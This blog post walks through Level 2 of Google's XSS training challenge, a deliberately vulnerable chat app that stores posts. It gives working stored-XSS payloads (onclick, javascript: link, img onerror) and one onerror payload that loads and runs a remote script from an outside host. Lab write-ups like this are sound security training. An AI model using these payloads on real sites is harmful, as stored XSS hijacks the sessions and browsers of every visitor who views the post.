DEV Community

Cover image for Google XSS challenge: Level 2 aka Persistence is key (detailed walkthrough)
Souvik Kar Mahapatra
Souvik Kar Mahapatra

Posted on • Updated on • Originally published at souvikinator.netlify.app

Google XSS challenge: Level 2 aka Persistence is key (detailed walkthrough)

Prerequisite

Before getting started one should be familiar with XSS or at least have an idea about it. Here is a good article which you may give a read to understand what is XSS. Read!

Also, I assume that readers are at least familiar with JavaScript. If not then I'll suggest to spend some time with JS and get comfortable with the basics. You can refer to javascript.info and MDN which are extremely helpful.

💡 Also in this whole series we'll not even roll our eyes on Hints and Toggle Code as in real-world bug hunting no one will give you hints or non-obfuscator source code so you have to figure out things yourself.

Mission Description

Web applications often keep user data in server-side and, increasingly, client-side databases and later display it to users. No matter where such user-controlled data comes from, it should be handled carefully.

This level shows how easily XSS bugs can be introduced in complex apps.

Mission Objective

Inject a script to pop up an alert() in the context of the application.

Note: the application saves your posts so if you sneak in code to execute the alert, this level will be solved every time you reload it.

Breaking In

Our approach will be:

  • Trying out a bunch of different inputs and understand how this works.

  • Make a payload on the basis of your understanding of the application

So let's start by trying out some random input.

Input 1: Hello

and yay! our post in madchattr. If you refresh the page you can see the post is still there which implies that our input is being stored somewhere.

Input 2: <marquee>Hello</marquee>

xss-level-1-marquee.gif

So we can now say that it also renders the HTML. You know what our next move going to be 😉

Input 3: <script>alert("xss level 2")</script>

but things didn't go the way we wanted. Nothing gets displayed which is obvious but nothing gets executed as well which forces us to charge up our weapon, THE DEV TOOLS!

dev tools meme

On inspecting the last post we see that the script tag is inside <blockquote>.

xss-level-2-bq.png

xss-level-2-script-bq.png

Does blockquote prevent the script from executing? I don't think so and after trying it out I'm sure it's not the blockquote.

On inspecting the input which is a HTML form we see that id="post-form". Making an assumption, there must be some eventlistener which will be listening to the form submission and will be processing its data. Let's search for the submit keyword in the developer console.

xss-level-2-search.gif

hmm, interesting! so what that script doing is, it's listening for the form submission event and then doing something with the form values i.e our input. It's doing something with DB.save(). Let's use a debugger and figure out how the whole process works.

debugging

from debugging we understand the following about the application:

  1. It stores post in the browser's local storage (in function PostDB())

  2. It renders our input in the webpage using element.innerHTML (in function displayPosts())

after a little bit of googling, I found out that element.innerHTML prevents script tag from executing.

If a <div>, <span>, or <noembed> node has a child text node that includes the characters (&), (<), or (>), innerHTML returns these characters as the HTML entities &amp;, &lt; and &gt; respectively. Use Node.textContent to get a raw copy of these text nodes' contents.
Read more

Now that we know who is messing with us, we need to make a payload and we'll be using inline JavaScript.

payload: <button onclick="alert('xss level 2')">click me</button>

It is not a script tag so it will be rendered and when the button is clicked, onclick comes into play. It executes alert('xss level 2') and pops an alert which is what we wanted.

you can try other payloads as well:

  • <a href="javascript: alert('anchor')">click me!</a>
  • <img src=lol onerror="alert('img tag')" />

Before ending the post I would like to show how crazy XSS attacks can get. Copy-paste the following and the rest you'll see.

<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"
Enter fullscreen mode Exit fullscreen mode

what makes it dangerous is that it is being stored in the local storage so even if you refresh the page the script will execute again, not only for you but for all of those who can see the post.

We are not done yet!! We have 4 more levels of Google XSS challenges to complete so head over to the blog section and check out walkthroughs.

🥳 So it's time to wrap up the post with a quote

“I am still learning.” — Michelangelo

Top comments (0)